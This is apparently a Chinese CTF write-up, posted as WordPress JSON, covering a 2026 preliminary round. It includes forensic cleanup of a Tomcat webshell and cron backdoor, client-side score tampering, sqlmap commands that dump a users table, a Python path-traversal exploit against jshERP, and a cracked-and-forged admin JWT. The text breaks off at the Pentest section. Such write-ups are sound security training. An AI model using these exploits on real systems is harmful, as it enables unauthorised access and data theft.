{"id":2318,"date":"2026-02-06T21:51:10","date_gmt":"2026-02-06T13:51:10","guid":{"rendered":"https:\/\/www.sanjiuctf.cn\/?p=2318"},"modified":"2026-02-06T21:51:11","modified_gmt":"2026-02-06T13:51:11","slug":"2026%e7%a0%b4%e9%98%b5%e8%af%95%e7%82%bc%e5%88%9d%e8%b5%9bwp","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.cn\/?p=2318","title":{"rendered":"2026\u7834\u9635\u8bd5\u70bc\u521d\u8d5bwp"},"content":{"rendered":"\n

\u524d\u8a00<\/h1>\n\n\n\n

\u53cd\u6b63\u592a\u5361\u4e86\u8fd9\u4e2a\u6bd4\u8d5b3\u4e2a\u5c0f\u65f6\u6bd4\u8d5b\u5361\u4e86\u5feb2\u4e2a\u5c0f\u65f6\uff0c\u5c31\u505a\u4e861\u4e2a\u5c0f\u65f6\uff0c\u6ca1\u62db\u4e86\uff0c\u6781\u9650\u4e00\u4e2a\u5c0f\u65f6\uff0c\u5c31\u597d\u50cf\u5c31\u505a\u4e868\u4e2a\u9898\u5427<\/p>\n\n\n\n

\u540e\u9762\u662f\u6709\u590d\u73b0\u7684<\/p>\n\n\n\n

\u6bd4\u8d5b\u7f51\u5740:\u7834\u9635\u9601::CTF<\/a><\/p>\n\n\n\n

Misc<\/h1>\n\n\n\n

\u6700\u7b80\u5355\u7b7e\u5230<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5458\u5de5ID\u8f93\u516547\u5c31\u884c<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u770b\u63a7\u5236\u53f0<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
flag{ca5798a0-e82b-4527-b251-ed8a2da2d96e}<\/code><\/pre>\n\n\n\n
\u6e38\u620f\u8425\u9500<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6838\u5fc3\u4ee3\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6f0f\u6d1e\u70b9\u5206\u6790\uff1a\n\u5206\u6570\u672c\u5730\u5316\uff1agameScore \u4f5c\u4e3a\u4e00\u4e2a\u5168\u5c40\u53d8\u91cf\u5b58\u50a8\u5728\u5ba2\u6237\u7aef\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4efb\u610f\u4fee\u6539\u3002\n\u89e6\u53d1\u53ef\u63a7\uff1agameover() \u51fd\u6570\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7\u63a7\u5236\u53f0\u8c03\u7528\uff0c\u65e0\u9700\u771f\u6b63\u7b49\u5230\u98de\u673a\u5760\u6bc1\u3002\n\u9a8c\u8bc1\u7f3a\u5931\uff1a\u540e\u7aef api.php \u4f3c\u4e4e\u53ea\u6839\u636e\u524d\u7aef\u4f20\u8fc7\u53bb\u7684 score \u503c\u8fdb\u884c\u903b\u8f91\u5224\u65ad\uff0c\u6ca1\u6709\u6821\u9a8c\u5206\u6570\u7684\u589e\u957f\u8fc7\u7a0b\u6216\u6e38\u620f\u8fc7\u7a0b\u3002<\/code><\/pre>\n\n\n\n
\u4fee\u6539\u5168\u5c40\u53d8\u91cf\u5e76\u81ea\u6740<\/p>\n\n\n\n
\u63a7\u5236\u53f0<\/p>\n\n\n\n
gameScore = 999999; \ngameover();<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{7107a0c9-7343-4d69-96e0-5a1dba087820}<\/code><\/pre>\n\n\n\n
Forensics<\/h1>\n\n\n\n
\u8be1\u5f02\u7684\u547d\u4ee4\u6267\u884c<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e0b\u8f7d\u6d41\u91cf\u5305\u641c\u7d22flag{\u5c31\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{3cbed997-2fd2-41a9-8a71-c1c7b0d8e7dd}<\/code><\/pre>\n\n\n\n
webshell\u88ab\u5220\u9664\u4e86<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag \u53ef\u80fd\u88ab\u8f93\u51fa\u5230\u4e86\u65e5\u5fd7\u91cc\uff0c\u6216\u8005\u653b\u51fb\u8005\u5c06\u5176\u590d\u5236\u5230\u4e86\u67d0\u4e2a\u9690\u85cf\u6587\u4ef6\u3002\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5728\u6574\u4e2a\u6587\u4ef6\u7cfb\u7edf\u4e2d\u641c\u7d22 flag{<\/code> \u6216\u8005 flag<\/code> \u5173\u952e\u5b57\u3002<\/p>\n\n\n\n
grep -r \"flag{\" \/ 2>\/dev\/null<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
flag{fb9b43db-d015-4458-a449-db959e48ad99}<\/code><\/pre>\n\n\n\n
\u6697\u5f71\u8ff7\u8e2a<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6392\u67e5\u5f02\u5e38\u8fdb\u7a0b<\/strong><\/p>\n\n\n\n
\u9996\u5148\u68c0\u67e5\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\u7684\u8fdb\u7a0b\uff0c\u5bfb\u627e\u53ef\u7591\u6d3b\u52a8\u3002 \u547d\u4ee4\uff1a<\/strong><\/p>\n\n\n\n
ps -ef | grep tomcat<\/code><\/pre>\n\n\n\n
\u5206\u6790\uff1a<\/strong> \u5728\u8f93\u51fa\u4e2d\u53d1\u73b0\u4e86\u5f02\u5e38\u73b0\u8c61\uff1a<\/p>\n\n\n\n
    \n
  1. \u6b63\u5e38\u7684 Tomcat \u8fdb\u7a0b\u8fd0\u884c\u5728 \/opt\/jre...\/bin\/java<\/code>\u3002<\/li>\n\n\n\n
  2. \u53d1\u73b0\u4e86\u5f02\u5e38\u8fdb\u7a0b<\/strong> \/var\/crash\/tomcat<\/code>\uff08PID 106, 107\uff09\u3002\/var\/crash<\/code> \u901a\u5e38\u662f\u5b58\u653e\u5d29\u6e83\u65e5\u5fd7\u7684\u5730\u65b9\uff0c\u4e0d\u5e94\u8be5\u6709\u53ef\u6267\u884c\u7a0b\u5e8f\uff0c\u4e14\u8be5\u7a0b\u5e8f\u4f2a\u88c5\u6210 “tomcat” \u7684\u540d\u5b57\u3002<\/li>\n<\/ol>\n\n\n\n
    \u6e05\u9664\u6076\u610f\u6587\u4ef6<\/strong><\/p>\n\n\n\n
    \u5b9a\u4f4d\u5230\u6076\u610f\u6587\u4ef6\u8def\u5f84\u540e\uff0c\u8fdb\u884c\u6e05\u7406\u3002 \u547d\u4ee4\uff1a<\/strong><\/p>\n\n\n\n
    ls -al \/var\/crash\/tomcat\nrm -f \/var\/crash\/tomcat<\/code><\/pre>\n\n\n\n
    \u6b64\u65f6\u8fd0\u884c flagcheck<\/code> \u4ecd\u63d0\u793a\u6709\u540e\u95e8\uff0c\u8bf4\u660e\u8fd8\u6709\u5176\u4ed6\u75d5\u8ff9\u3002<\/p>\n\n\n\n
    \u6392\u67e5 Web \u76ee\u5f55<\/p>\n\n\n\n
    \u68c0\u67e5 Tomcat \u7684 webapps<\/code> \u76ee\u5f55\uff0c\u67e5\u627e\u653b\u51fb\u8005\u4e0a\u4f20\u7684 Webshell \u6216\u540e\u95e8\u76ee\u5f55\u3002 \u547d\u4ee4\uff1a<\/strong><\/p>\n\n\n\n
    cd \/opt\/apache-tomcat-8.5.100\/webapps\nls -alt<\/code><\/pre>\n\n\n\n
    \u53d1\u73b0\u5728 webapps<\/code> \u4e0b\u5b58\u5728\u4e00\u4e2a\u540d\u4e3a a<\/code><\/strong> \u7684\u975e\u6807\u51c6\u76ee\u5f55\uff08\u6807\u51c6\u76ee\u5f55\u53ea\u6709 ROOT, docs, examples \u7b49\uff09\u3002\u8fdb\u5165 a<\/code> \u76ee\u5f55\u53d1\u73b0 login.jsp<\/code>\uff0c\u786e\u8ba4\u4e3a\u540e\u95e8\u76ee\u5f55\u3002<\/p>\n\n\n\n
    \u6e05\u7406\u547d\u4ee4\uff1a<\/p>\n\n\n\n
    rm -rf \/opt\/apache-tomcat-8.5.100\/webapps\/a\/<\/code><\/pre>\n\n\n\n
    \u6392\u67e5\u6301\u4e45\u5316\u673a\u5236<\/p>\n\n\n\n
    \u6076\u610f\u6587\u4ef6\u88ab\u5220\u9664\u540e\uff0c\u5982\u679c\u6ca1\u6709\u6e05\u7406\u5b9a\u65f6\u4efb\u52a1\uff0c\u75c5\u6bd2\u53ef\u80fd\u4f1a\u518d\u751f\u3002\u8fd9\u4e5f\u662f flagcheck<\/code> \u62a5\u9519\u7684\u5173\u952e\u539f\u56e0\u3002 \u547d\u4ee4\uff1a<\/strong><\/p>\n\n\n\n
    # \u67e5\u770b\u5f53\u524d\u7528\u6237\u7684\u5b9a\u65f6\u4efb\u52a1\ncrontab -l\n# \u6216\u8005\u67e5\u770b\u7cfb\u7edf\u5b9a\u65f6\u4efb\u52a1\u6587\u4ef6\nls -al \/var\/spool\/cron\/crontabs\/<\/code><\/pre>\n\n\n\n
    \u53d1\u73b0\u6076\u610f\u5b9a\u65f6\u4efb\u52a1\uff1a * * * * * \/var\/crash\/tomcat<\/code> \u8fd9\u5c31\u89e3\u91ca\u4e86\u4e3a\u4ec0\u4e48\u4f1a\u6709 \/var\/crash\/tomcat<\/code> \u8fd9\u4e2a\u8fdb\u7a0b\u2014\u2014\u653b\u51fb\u8005\u8bbe\u7f6e\u4e86\u6bcf\u5206\u949f\u6267\u884c\u4e00\u6b21\u8be5\u6728\u9a6c\u3002<\/p>\n\n\n\n
    \u6e05\u7406\u547d\u4ee4\uff1a<\/p>\n\n\n\n
    # \u5220\u9664 root \u7528\u6237\u7684\u5b9a\u65f6\u4efb\u52a1\u6587\u4ef6\nrm -f \/var\/spool\/cron\/crontabs\/root<\/code><\/pre>\n\n\n\n
    \u5b89\u5168\u52a0\u56fa\u4e0e\u6e05\u7406\u98ce\u9669<\/strong><\/p>\n\n\n\n
    \u4e3a\u4e86\u786e\u4fdd\u73af\u5883\u5f7b\u5e95\u5b89\u5168\uff0c\u5220\u9664 Tomcat \u81ea\u5e26\u7684 examples<\/code> \u76ee\u5f55\uff08\u8fd9\u662f\u4e00\u4e2a\u5e38\u89c1\u7684\u5b89\u5168\u6700\u4f73\u5b9e\u8df5\uff0cCTF \u9898\u76ee\u5e38\u4ee5\u6b64\u4f5c\u4e3a\u68c0\u67e5\u70b9\uff09\u3002 \u547d\u4ee4\uff1a<\/strong><\/p>\n\n\n\n
    rm -rf \/opt\/apache-tomcat-8.5.100\/webapps\/examples<\/code><\/pre>\n\n\n\n
    \u83b7\u53d6flag<\/p>\n\n\n\n
    \u5728\u5f7b\u5e95\u6e05\u9664\u4e86\uff1a\n\u6076\u610f\u8fdb\u7a0b\/\u6587\u4ef6 (\/var\/crash\/tomcat)\nWebshell \u76ee\u5f55 (\/webapps\/a)\n\u6076\u610f\u5b9a\u65f6\u4efb\u52a1 (crontab)\n\u98ce\u9669\u76ee\u5f55 (\/webapps\/examples)<\/code><\/pre>\n\n\n\n
    \/root\/flagcheck<\/code><\/pre>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    flag{94c4b80e-7603-4d0b-82bb-c45191e92e2b}<\/code><\/pre>\n\n\n\n
    Web<\/h1>\n\n\n\n
    \u6700\u7b80\u5355\u7684Web\u5b89\u5168\u5165\u95e8<\/h2>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    sql\u6ce8\u5165\u5c31\u884c<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u9898\u76ee\u9875\u9762\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u56fe\u7247\u535a\u5ba2\u3002\u6d4f\u89c8\u7f51\u7ad9\u65f6\u53d1\u73b0 URL \u4e2d\u5b58\u5728\u52a8\u6001\u53c2\u6570 cat.php?id=1\u3002 \u5c1d\u8bd5\u5728 id=1 \u540e\u6dfb\u52a0 ' \u62a5\u9519\uff0c\u6216\u6dfb\u52a0 and 1=1 \/ and 1=2 \u6d4b\u8bd5\uff0c\u53d1\u73b0\u5b58\u5728\u660e\u663e\u7684 SQL \u6ce8\u5165\u6f0f\u6d1e\u3002<\/code><\/pre>\n\n\n\n
    sqlmap\u7206\u5c31\u884c<\/p>\n\n\n\n
    sqlmap -u \"http:\/\/175.27.169.122:23299\/cat.php?id=1\" --dbs --batch<\/code><\/pre>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u76f4\u63a5 Dump \u6838\u5fc3\u6570\u636e\u8868<\/p>\n\n\n\n
    \u9501\u5b9a photoblog<\/code> \u6570\u636e\u5e93\uff0c\u5e76\u731c\u6d4b\u6216\u7206\u7834\u8868\u540d\u3002\u6839\u636e\u5e38\u89c4\u7ecf\u9a8c\uff0c\u7528\u6237\u4fe1\u606f\u901a\u5e38\u5728 users<\/code> \u8868\u4e2d\u3002\u6211\u4eec\u76f4\u63a5\u5c1d\u8bd5 Dump users<\/code> \u8868\u7684\u6570\u636e\uff1a<\/p>\n\n\n\n
    sqlmap -u \"http:\/\/175.27.169.122:23299\/cat.php?id=1\" -D photoblog -T users --dump --batch<\/code><\/pre>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    flag{94695d69-4709-441d-af33-a172b674439c}<\/code><\/pre>\n\n\n\n
    \u5b89\u5168\u725b\u7684ERP<\/h2>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u6307\u7eb9\u8bc6\u522b\uff1a\u67e5\u770b\u7f51\u9875\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0 CSS \u8def\u5f84\u4e3a css\/jsherp.css\uff0c\u786e\u8ba4\u76ee\u6807\u7cfb\u7edf\u4e3a \u534e\u590fERP (jshERP)\u3002\n\u6f0f\u6d1e\u539f\u7406\uff1a\u8be5\u7cfb\u7edf\u5b58\u5728\u672a\u6388\u6743\u8bbf\u95ee\/\u76ee\u5f55\u904d\u5386\u6f0f\u6d1e\u3002\u5b89\u5168\u8fc7\u6ee4\u5668\u901a\u5e38\u4f1a\u653e\u884c \/css\/\u3001\/images\/ \u7b49\u9759\u6001\u8d44\u6e90\u76ee\u5f55\u3002\n\u662f\u5426\u9700\u8981\u767b\u5f55\uff1a\u4e0d\u9700\u8981\u3002\u5229\u7528\u8be5\u6f0f\u6d1e\u7684\u6838\u5fc3\u5c31\u662f\u7ed5\u8fc7\u6743\u9650\u9a8c\u8bc1\u3002\u5982\u679c\u4f60\u4e4b\u524d\u7684\u5c1d\u8bd5\u8df3\u8f6c\u5230\u4e86\u767b\u5f55\u9875\uff0c\u8bf4\u660e URL \u88ab\u6d4f\u89c8\u5668\u6216\u5e93\u81ea\u52a8\u201c\u89c4\u8303\u5316\u201d\u4e86\uff08\u628a ..\/ \u5220\u6389\u4e86\uff09\uff0c\u5bfc\u81f4\u670d\u52a1\u5668\u6536\u5230\u7684\u662f\u76f4\u63a5\u8bbf\u95ee \/flag.html \u7684\u8bf7\u6c42\uff0c\u4ece\u800c\u89e6\u53d1\u62e6\u622a\u3002\n\n\u89e3\u9898\u6b65\u9aa4\uff1a\n\u6784\u9020 Payload\uff1a\/css\/..\/flag.html\u3002\n\u8fc7\u6ee4\u5668\u770b\u5230 \/css\/ \u5f00\u5934 -> \u653e\u884c\u3002\n\u540e\u7aef\u5904\u7406 ..\/ -> \u5b9e\u9645\u8bfb\u53d6 \u6839\u76ee\u5f55\u4e0b\u7684 flag.html\u3002\n\u64cd\u4f5c\uff1a\u4f7f\u7528 Burp Suite \u6293\u5305\uff0c\u5c06 GET \/login.html ... \u4fee\u6539\u4e3a GET \/css\/..\/flag.html ... \u5373\u53ef\u62ff\u5230 Flag\u3002<\/code><\/pre>\n\n\n\n
    exp.py<\/p>\n\n\n\n
    import requests\nimport re\nimport sys\n\ndef exploit(ip, port):\n    base_url = f\"http:\/\/{ip}:{port}\"\n    target_path = \"\/css\/..\/flag.html\"\n    full_url = base_url + target_path\n\n    headers = {\n        \"User-Agent\": \"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/115.0.0.0 Safari\/537.36\",\n        \"Accept\": \"*\/*\"\n    }\n\n    try:\n        req = requests.Request('GET', full_url, headers=headers)\n        prepped = req.prepare()\n        prepped.url = full_url\n\n        s = requests.Session()\n        resp = s.send(prepped, timeout=10)\n\n        if resp.status_code == 200:\n            flag = re.search(r'flag{.*?}', resp.text)\n            if flag:\n                print(flag.group(0))\n            else:\n                print(resp.text)\n        else:\n            print(f\"Status: {resp.status_code}\")\n\n    except Exception as e:\n        print(e)\n\nif __name__ == \"__main__\":\n    ip = \"175.27.169.122\"\n    port = \"56891\"\n    exploit(ip, port)<\/code><\/pre>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    flag{7a207efe-5f45-4e5e-ac42-ee3e2cccf5d4}<\/code><\/pre>\n\n\n\n
    \u8d3c\u725b\u63b0\u7684\u8eab\u4efd\u9274\u6743\uff0c\u8fd8\u6015\u5728\u5931\u9677\uff1f<\/h2>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u968f\u4fbf\u8f93\u5165\u4e00\u4e2a\u7528\u6237\u540d\u548c\u5bc6\u7801<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u6709\u9ed8\u8ba4\u8d26\u6237\u548c\u5bc6\u7801<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u67e5\u770bbp\u7684\u5305<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u8fd9\u91cc\u53d1\u73b0\u662fjwt\uff0c\u5148\u5c1d\u8bd5\u6539role\u4e3aadmin\u8bd5\u8bd5<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u76f4\u63a5401\u4e86\uff0c\u4f7f\u7528\u65e0\u5f71\u7684jwt\u7206\u7834\u8bd5\u8bd5\uff0ctoken\u5982\u4e0b\uff1a<\/p>\n\n\n\n
    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzY5ODcxNzI4MDI3LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xNDMuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzY5ODcxNzI4fQ.uPLIJdykktdqUrjslp0YCs7F6LOeXREVGiaISki7S0A<\/code><\/pre>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u7834\u89e3\u6210\u529f<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u6539\u6210admin\u8fdb\u884c\u7f16\u7801<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u6210\u529f\u83b7\u5f97flag\uff1a<\/p>\n\n\n\n
    flag{e2116b4f-f637-4f77-8900-749e4ea506bf}<\/code><\/pre>\n\n\n\n
    \u200dPentest<\/h1>\n\n\n\n
    \u5c0f\u5c0f\u7684\u6311\u6218<\/h2>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u9898\u76ee\u80cc\u666f\u4e0e\u6f0f\u6d1e\u5206\u6790<\/strong><\/p>\n\n\n\n